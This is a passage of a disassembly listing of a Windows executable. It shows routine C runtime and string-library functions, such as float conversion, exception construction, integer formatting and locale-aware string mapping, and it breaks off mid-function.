loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: .packed:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: .packed:00427C94o
					; .packed:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: .packed:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: .packed:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: .packed:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: .packed:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: .packed:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: .packed:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4262F6	proc near		; DATA XREF: .packed:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: .packed:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: .packed:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; sub_40F3AA+14Ap ...
		jmp	dword_427210
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		jmp	dword_4271A4
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: .packed:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: .packed:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: .packed:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: .packed:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: .packed:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: .packed:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; .packed:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: .packed:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_427050	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
